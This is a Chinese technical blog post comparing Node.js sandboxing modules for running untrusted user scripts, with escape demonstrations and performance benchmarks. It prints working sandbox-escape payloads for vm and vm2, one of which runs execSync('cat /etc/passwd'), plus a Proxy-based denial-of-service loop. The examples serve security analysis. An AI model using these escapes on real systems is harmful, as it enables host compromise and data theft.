如何让不受信任代码“安全”运行?

avatar
阿里巴巴 前端委员会智能化小组 @阿里巴巴

文/   阿里淘系 F(x) Team  笑翟

我们在 imgcook 智能生成代码过程中,希望提供一些自定义的能力,比如自定义 DSL、自定义逻辑点识别/表达,能够让开发者按照官方提供的标准协议数据,在可控范围和权限内自定义生成自己所需要的代码,也不用局限官方提供的代码生成模板,扩展自定义逻辑识别能力/表达能力,生成定义的逻辑代码,满足开发者自定义业务多样化的需求。


那么,这些自定义能力的脚本需要运行在一个沙箱容器,同时考虑到运行环境统一以及需加载 Node 模块能力,我们需要在服务端构建脚本运行沙箱容器,这样安全就更为重要(开发者的脚本必须严格受到限制与隔离,不能影响到宿主程序,也不能影响用户使用),跟运行在客户端(用户的)应用不同,客户端运行只会影响他自己。


因此,我们调研&探索如何选择/构建一个为 Node.js 应用更安全的沙箱模块。


沙箱是什么?

先介绍下沙箱技术,是一个虚拟系统程序,允许你在沙箱环境中允许浏览器或者其他程序,因此运行所产生的变化可以随后删除。它创造了一个类似沙盒的独立作业环境,在其内部运行的程序并不能对硬盘产生永久性的影响,其是一个独立的虚拟环境,可用来测试不受信任的应用程序或上网行为。


沙箱是一种虚拟系统程序,沙箱提供的环境相对每一个运行的程序都是独立的,而不会对现有的系统产生影响。


Node.js 沙箱模块分析


下面我们介绍下之前调研过的一些 Node.js 的沙箱。


模块

(module)

安全

(Secure)

内存限制

(Memory Limits)

是否隔离

(Isolated)

多线程

(Multithreaded)

模块支持

(Module Support)

检查器支持(Inspector Support)

vm







worker_threads







vm2






napajs





Partial


webworker-threads







tiny-worker







isolated-vm







jailed







safeify








  • vm: 只是改变了运行环境的上下文,所以官网说是不能用于执行不安全的代码
  • vm2: 做了一些简单的覆盖,提升了安全性,因为公用同一个上下文,所以 loader 相同,存在对全局模块的修改问题
  • webworker-threads: 早期的社区实现,无法 require
  • worker_threads: 官方实现的多线程,线程间的确是隔离的,但是无法对 io 操作进行限制
  • tiny-worker: 对上面的一个包装
  • Napa.js: 微软开源项目,并行计算环境,一个基于 V8 的多线程 JavaScript 运行时,该运行时最初旨在开发高度迭代的服务,并在 Bing 中具有出色的性能。
  • isolated-vm: nodejs 的库,可让您访问 v8 的 Isolate 接口。 这样,你就可以创建彼此完全隔离的JavaScript环境。 如果您需要以安全的方式运行一些不受信任的代码,则可能会发现此模块很有用。 如果您需要在多个线程中同时运行一些JavaScript,您可能还会发现此模块很有用。 如果您需要同时进行这两个项目,那么您可能会发现此项目非常有用!
  • Jailed:一个小型JavaScript库,用于在沙箱中运行不受信任的代码。 该库是用 vanilla-js 编写的,没有任何依赖关系。
  • safeify:为将要执行的动态代码建立专门的进程池,与宿主应用程序分离在不同的进程中执行,支持配置沙箱进程池的最大进程数量,支持限定同步代码的最大执行时间,同时也支持限定包括异步代码在内的执行时间,支持限定沙箱进程池的整体的 CPU 资源配额,支持限定沙箱进程池的整体的最大的内存限制。


搜索 Node.js 沙箱,出现的是 Node.js 提供 vm 内建模块,我们看下 vm 模块。



Node.js vm



vm 是 Node.js 默认提供的一个内建模块,它提供了一系列 API 用于在 V8 虚拟机环境中编译和运行代码。


A common use case is to run the code in a different V8 Context.

This means invoked code has a different global object than the invoking code.

One can provide the context by contextifying an object. The invoked code treats any property in the context like a global variable. Any changes to global variables caused by the invoked code are reflected in the context object.


一个常见的用例是在不同的 V8 上下文中运行代码。

这意味着被调用的代码与调用的代码具有不同的全局对象。

可以通过使对象上下文隔离化来提供上下文。 被调用的代码将上下文中的任何属性都视为全局变量。 由调用的代码引起的对全局变量的任何更改都将会反映在上下文对象中。


The vm module enables compiling and running code within V8 Virtual Machine contexts.

The vm module is not a security mechanism.

Do not use it to run untrusted code.


vm 模块可在 V8 虚拟机上下文中编译和运行代码。

vm 模块不是安全的机制。

不要使用它来运行不受信任的代码。


vm 尽管隔离了上下文环境,但依然可以访问标准的 Javascript API 和全局的 Node.js 环境。

所以 vm 并不是安全的。


看个例子:

"use strict";
const vm = require('vm');
const result = vm.runInNewContext(`process`);
console.log(result);

结果:

image.png

“process is not defined”,默认情况下VM模块不能访问进程,如果想要访问需要指定授权。

看起来默认不能访问 “process、require” 等就满足需求了,但是真的没有办法触及主进程并执行代码了?

看下面这段代码

"use strict";
const vm = require('vm');
const sandbox =  {};
const script = new vm.Script("this.constructor.constructor('return process')().exit()");
const context = vm.createContext(sandbox);
script.runInContext(context);
console.log("Hello World!");


在 javascript 中 this 指向它所属的对象,所以我们使用它时就已经指向了一个 vm 上下文之外的对象。

那么访问this的 constructor 就返回 Object Constructor ,访问 Object Constructor 的 .constructor 返回Function constructor 。

Function constructor 就像 javascript 提供的最高函数,他可以访问全局,所以他能返回全局事物。

Function constructor 允许从字符串生成函数,从而执行任意代码。


可以看出这段代码的 Hello World! 永远不会输出。

似乎隔离了代码执行环境,但实际上很容易逃逸出去。


因为 Node.js 默认内建模块 vm 有缺陷,所以就有了 vm2、jailed、napajs。下面看下 vm2 模块。



Node.js vm2


vm2 基于 vm,使用官方的 vm 库构建沙箱环境。使用 JavaScript 的 Proxy 技术来防止沙箱脚本逃逸。指定白名单 Node 的内置模块一起运行不受信任的代码。安全地!仅 JavaScript 内置对象和 Buffer 可用。默认下调度函数(setInterval,setTimeout 和 setImmediate)默认情况下不可用。


vm2 特性

主要有以下几点特性:

  • 运行不受信任的 javascript 脚本
  • 沙箱的终端输出信息完全可控
  • 沙箱内可以受限地加载 modules
  • 可以安全地向沙箱间传递 callback
  • 死循环攻击免疫 while (true) {}



vm2 工作原理


vm2 内部使用 vm 模块创建安全(上下文)它使用代理来防止逃逸沙箱

现在,从 vm contenxt 到沙箱的所有内容都可以用来进行处理。


"use strict";
const {VM} = require('vm2');
new VM().run('this.constructor.constructor("return process")())');

抛出异常错误,process 未定义。


逃逸


由于 VM2 将 VM 上下文中的所有对象都上下文化,因此 this 关键字不再具有对 constructor 属性的访问权,因此我们之前的有效负载已失效。


对于绕过,我们将需要沙箱之外的内容,以便它不仅限于沙箱上下文,而且可以再次访问构造函数。

现在,vm 内部的所有对象都已限制了,我们以某种方式需要外部的一些东西来爬回进程,然后执行代码。


如果我们在 try 块中编写错误代码,这将会导致宿主进程抛出异常,然后我们通过 catch 将宿主进程的异常捕获回 vm,然后使用该异常进行处理。这很可能就是我们要做的


// vm2 将该漏洞已修复
const {NodeVM} = require('vm2'); 
nvm = new NodeVM()

nvm.run(`
  try {
  this.process.removeListener(); 
  } 
  catch (host_exception) {
  console.log('host exception: ' + host_exception.toString());
  host_constructor = host_exception.constructor.constructor;
  host_process = host_constructor('return this')().process;
  child_process = host_process.mainModule.require("child_process");
  console.log(child_process.execSync("cat /etc/passwd").toString());
  }`);


在 try 块中,我们尝试删除正在执行此操作的当前进程上的侦听器 - this.process.removeListener() 这会引起主机异常。由于来自宿主进程的异常不会在传递到沙箱之前被关联,因此我们可以使用该异常爬升到所需的树到require。


毕竟,vm2 中还有更多新的创造性的绕过 - 更多的逃逸


除了沙箱逃逸之外,还可以使用infinite while loop方法创建无限循环拒绝服务

const {VM} = require('vm2');
new VM({timeout:1}).run(`
        function main(){
        while(1){}
    }
    new Proxy({}, {
        getPrototypeOf(t){
            global.main();
        }
    })`);


性能对比

沙箱机制对于性能影响还是挺大的


自增次数normalvmvm2jailed

isolated-vm

1000

0.042ms

1179.227ms

354.053ms

12.246ms

24.303ms

10000

0.368ms

9404.247ms

2107.150ms

121.993ms

242.625ms

100000

11.375ms

128843.386ms

17624.867ms

1058.524ms

1155.492ms


测试代码

const vm = require('vm');
const { VM } = require('vm2');
const jailed = require('jailed');
const path = './plugin.js';

var api = {
  log: console.log
};
let plugin = new jailed.Plugin(path, api);

var reportResult = function(result) {
  // console.log("Result is: " + result);
};

let a = 0;
const vm2 = new VM({
  timeout: 1000,
  sandbox: {
    a: a
  }
});

const count = 100000;

// normal
console.time('normal');

for (let i = 0; i < count; ++i) {
  a += 1;
}

console.timeEnd('normal');

// vm
console.time('vm');

for (let i = 0; i < count; ++i) {
  vm.runInNewContext('a += 1', { a: a });
}

console.timeEnd('vm');

// vm2 timer
console.time('vm2');

for (let i = 0; i < count; ++i) {
  vm2.run('a += 1');
}

console.timeEnd('vm2');

// jailed
plugin.whenConnected(() => {
  console.time('jailed');
  for (let i = 0; i < count; ++i) {
    plugin.remote.square(2, reportResult);
  }
  console.timeEnd('jailed');
  plugin.disconnect();
});

console.time('isolated-vm');
// isolated-vm
// 创建一个内存限制 128MB 的隔离虚拟机
const ivm = require('isolated-vm');
const isolate = new ivm.Isolate({
  memoryLimit: 128
});

// 每个隔离虚拟机的上下文相互隔离
const context = isolate.createContextSync();

// 解除 global 的引用,传递给上一步创建的上下文
context.global.setSync('global', context.global.derefInto());

// 在上述上下文中执行,并解构结果
for (let i = 0; i < count; ++i) {
  const { result } = context.evalSync(`(() => "Hello world")()`);
  // console.log(result);
}

// > hello world
// console.log(result);
console.timeEnd('isolated-vm');



最后

运行不信任的代码是很困难的,只依赖软件模块作为沙箱技术,防止不受信任代码用于非正当用途是糟糕的决定。这可能促使云上 SAAS 应用不安全,因为通过逃逸出沙箱进程多个租户间的数据可能被访问。因此自定义脚本执行只针对内部开放,外部的必须得经过严格审核才能执行。要尽量避开执行动态执行脚本,如果实在避不开或需要这个功能,希望本文能够对你有些帮助。



参考资料